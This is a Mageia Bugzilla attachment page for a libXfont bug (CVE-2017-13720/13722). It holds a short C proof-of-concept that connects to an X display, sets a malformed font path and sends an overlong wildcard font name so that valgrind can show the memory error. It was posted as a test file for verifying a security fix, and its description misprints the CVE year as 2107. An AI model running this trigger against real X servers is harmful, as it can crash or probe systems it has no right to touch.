Mageia Bugzilla – Attachment 9731 Details for
Bug 21834
libxfont new security issues CVE-2017-13720 and CVE-2017-13722
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Requests
|
Help
|
Log In
[x]
|
New Account
|
Forgot Password
Test file for valgrind to demonstrate the CVE-2107-13720 issue
xtest.c (text/plain), 876 bytes, created by
Len Lawrence
on 2017-10-13 22:08:17 CEST
(
hide
)
Description:
Test file for valgrind to demonstrate the CVE-2107-13720 issue
Filename:
MIME Type:
Creator:
Len Lawrence
Created:
2017-10-13 22:08:17 CEST
Size:
876 bytes
patch
obsolete
>// https://bugzilla.suse.com/attachment.cgi?id=737087 > >#include <stdio.h> >#include <xcb/xcb.h> > >const char data[] = "????????????????????????????????????????????????????????????????" > "????????????????????????????????????????????????????????????????" > "????????????????????????????????????????????????????????????????" > "???????????????????????????????????????????????????????????????"; > >int main(int argc, char** argv) { > xcb_connection_t* connection = xcb_connect(":1", 0); > > if (xcb_connection_has_error(connection)) { > printf("Failed to connect to display!\n"); > return 1; > } > > xcb_str_t str; > xcb_set_font_path(connection, 1, &str); > > xcb_font_t fid = xcb_generate_id(connection); > xcb_open_font(connection, fid, sizeof(data), data); > > xcb_flush(connection); > > return 0; >}
// https://bugzilla.suse.com/attachment.cgi?id=737087 #include <stdio.h> #include <xcb/xcb.h> const char data[] = "????????????????????????????????????????????????????????????????" "????????????????????????????????????????????????????????????????" "????????????????????????????????????????????????????????????????" "???????????????????????????????????????????????????????????????"; int main(int argc, char** argv) { xcb_connection_t* connection = xcb_connect(":1", 0); if (xcb_connection_has_error(connection)) { printf("Failed to connect to display!\n"); return 1; } xcb_str_t str; xcb_set_font_path(connection, 1, &str); xcb_font_t fid = xcb_generate_id(connection); xcb_open_font(connection, fid, sizeof(data), data); xcb_flush(connection); return 0; }
View Attachment As Raw
Actions:
View
Attachments on
bug 21834
: 9731